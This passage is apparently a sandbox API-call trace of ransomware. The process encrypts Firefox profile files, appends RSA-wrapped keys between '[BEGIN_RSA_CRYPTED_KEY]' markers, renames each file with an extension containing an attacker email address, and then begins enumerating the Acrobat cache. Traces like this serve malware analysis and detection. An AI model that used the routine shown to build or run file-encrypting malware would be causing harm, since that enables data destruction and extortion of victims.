"c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0236.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66ac48 | out: hHeap=0x570000) returned 1 [0236.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0236.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666378 | out: hHeap=0x570000) returned 1 [0236.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666710 | out: hHeap=0x570000) returned 1 [0236.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665408 [0236.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0236.511] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0236.511] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", dwFileAttributes=0x80) returned 1 [0236.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0236.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60dc10 [0236.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0236.511] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\alternateservices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0236.512] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0236.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0236.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0236.512] ReadFile (in: hFile=0x1a34, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0236.512] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0236.512] WriteFile (in: hFile=0x1a34, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0236.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0236.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0236.512] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0236.512] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.512] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.513] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0236.513] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0236.514] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0236.514] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0236.514] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zHW/GIfKxId9ahmvdKOXV/EXo29HsI1H0ACejRfz3mj2DssSEdGM9HyXPVJ+OQtT\nAbdm4qmUCNd+OqLcYdHm6zJ96DstzBOFv5QMspXnNsku4arw6YI2ulbxlrVUt7JC\nt710RUznpXq7uz/nrkU3ass1Lk+BKSm4eflo7NyqPBMrusEAETxW+O+2WFsXpZhb\nwEGrKtAqDXaKvj9VQSSm1iZLXrrpkeeXDzRCHMZ2qYCl0KF1kNKfNXlyM5+oCQ9x\nUIBcoG1D3wMAIVdfKS4lfMIyEyByRSDb2F49J8fplqGRNnZ9a1UpHV4ORHHP/wYi\n2349M9P6nsj3FVf8qfUxig==\n", pcchString=0x2e3f9a8) returned 1 [0236.514] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0236.514] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.514] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.514] CloseHandle (hObject=0x1a34) returned 1 [0236.514] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0236.514] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\alternateservices.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\alternateservices.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0236.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0236.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0236.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665408 | out: hHeap=0x570000) returned 1 [0236.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6571c8 | out: hHeap=0x570000) returned 1 [0236.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0236.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0236.516] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0236.516] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4", dwFileAttributes=0x80) returned 1 [0236.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664c38 [0236.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e550 [0236.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664c38 | out: hHeap=0x570000) returned 1 [0236.516] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addonstartup.json.lz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0236.517] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=657) returned 1 [0236.517] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x291) returned 0x5aa568 [0236.517] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x291) returned 0x5b4d88 [0236.517] ReadFile (in: hFile=0x1a34, lpBuffer=0x5aa568, nNumberOfBytesToRead=0x291, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5aa568*, lpNumberOfBytesRead=0x2e3f9b4*=0x291, lpOverlapped=0x0) returned 1 [0236.551] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-657, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0236.551] WriteFile (in: hFile=0x1a34, lpBuffer=0x5b4d88*, nNumberOfBytesToWrite=0x291, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b4d88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x291, lpOverlapped=0x0) returned 1 [0236.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0236.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4d88 | out: hHeap=0x570000) returned 1 [0236.552] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x291 [0236.552] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.552] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.552] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0236.552] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0236.552] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0236.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0236.552] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="HfsrHu/G15ghgFtHVl267yC/Bvq9TXAqhXc/q3kNOoSB1py/EwZdeaBFHcE1tv1q\nkcJeJQ15XyrtCSf3qr+5nG44FSXTSwDIaASOiOyd4M+AaO7F56WsqDGT3WaJf7pH\ngpZ6cvP8pc+jZN2h4b4VEfwhiF6lfdr7GJb2paSw8WzsT9su3apD1DeRNXkP5Zv0\nswzAeeqznWUUypznnh7H3pbsHtxIxEMveXYry0L4V2Rc9ZL931TPvat5U5JbohJv\nIC2UBnAwLwJxMUzhoIBYDzaId3IWjAtdu46EzHSr+P0LsgJ2FPqZdVUF9NbSfnfP\nhVyC9IF/rJOfgrEh2k7ddQ==\n", pcchString=0x2e3f9a8) returned 1 [0236.552] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0236.552] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.552] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.553] CloseHandle (hObject=0x1a34) returned 1 [0236.553] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0236.553] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addonstartup.json.lz4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addonstartup.json.lz4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0236.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0236.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0236.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0236.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6578d0 | out: hHeap=0x570000) returned 1 [0236.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666938 [0236.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0236.681] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0236.681] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", dwFileAttributes=0x80) returned 1 [0236.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667348 [0236.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x66a270 [0236.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667348 | out: hHeap=0x570000) returned 1 [0236.682] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0236.682] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=24) returned 1 [0236.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d1590 [0236.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d14b0 [0236.683] ReadFile (in: hFile=0x1a34, lpBuffer=0x5d1590, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1590*, lpNumberOfBytesRead=0x2e3f9b4*=0x18, lpOverlapped=0x0) returned 1 [0236.683] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0236.683] WriteFile (in: hFile=0x1a34, lpBuffer=0x5d14b0*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d14b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18, lpOverlapped=0x0) returned 1 [0236.684] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1590 | out: hHeap=0x570000) returned 1 [0236.684] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d14b0 | out: hHeap=0x570000) returned 1 [0236.684] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18 [0236.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.684] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0236.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0236.684] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0236.684] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0236.684] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NFHYYqIkzP9HKy6fwC50ug/8ek5nlN3F94NzcGWNzdEC2SQbGhO6bmM0YO6on1Pf\nKdMfROH+2kUGnVXEfe3XcyhGXKDZnP0q3W7tdkJkjnslJz4aQbf09LXZO6JDrA2Z\nmNkbjNGNIpn9C9rKVfaREid0y/dNuiQZDbIsptfExSXVkwy2TAaHNqeVbg/ykyZG\nK+M05OYWEe+o/UZLPZM9o6Uj0Rfr5Bmb92y4niX0XebySVRZrEoVS3CWmT8jO/Wy\n8/OGjgxzOQ3F6DVoOxhLyCT+HViFdNBYnULhNWPEqChFe6GyQYfhwY4HEfYCtlxP\nL8F8Y0Pv0TNCs25XsFLYVA==\n", pcchString=0x2e3f9a8) returned 1 [0236.684] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0236.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0236.684] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0236.685] CloseHandle (hObject=0x1a34) returned 1 [0236.686] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0236.686] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0236.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66a270 | out: hHeap=0x570000) returned 1 [0236.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0236.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666938 | out: hHeap=0x570000) returned 1 [0236.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666ef8 | out: hHeap=0x570000) returned 1 [0236.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0236.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3dc0 | out: hHeap=0x570000) returned 1 [0236.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0236.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9ec0 | out: hHeap=0x570000) returned 1 [0236.730] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34aa0 [0236.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665340 | out: hHeap=0x570000) returned 1 [0236.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0236.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0236.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0236.752] GetLastError () returned 0x0 [0236.752] SetLastError (dwErrCode=0x0) [0236.752] GetLastError () returned 0x0 [0236.752] SetLastError (dwErrCode=0x0) [0236.752] GetLastError () returned 0x0 [0236.752] SetLastError (dwErrCode=0x0) [0236.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0236.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0236.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0236.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0236.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34a60 [0236.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34a60 | out: hHeap=0x570000) returned 1 [0236.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0236.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0236.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0236.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0236.752] FindNextFileW (in: hFindFile=0x2f34aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0236.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0236.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0236.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aac8 [0236.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0236.753] GetLastError () returned 0x0 [0236.753] SetLastError (dwErrCode=0x0) [0236.753] GetLastError () returned 0x0 [0236.753] SetLastError (dwErrCode=0x0) [0236.753] GetLastError () returned 0x0 [0236.753] SetLastError (dwErrCode=0x0) [0236.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0236.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0236.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0236.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0236.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34b60 [0236.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34b60 | out: hHeap=0x570000) returned 1 [0236.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0236.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0236.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0236.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0236.754] FindNextFileW (in: hFindFile=0x2f34aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd781529a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd781529a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd781529a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="data_0", cAlternateFileName="")) returned 1 [0236.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0236.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0236.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b1b0 [0236.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0236.754] GetLastError () returned 0x0 [0236.754] SetLastError (dwErrCode=0x0) [0236.754] GetLastError () returned 0x0 [0236.754] SetLastError (dwErrCode=0x0) [0236.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6649e0 [0236.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b1b0 | out: hHeap=0x570000) returned 1 [0236.754] GetLastError () returned 0x0 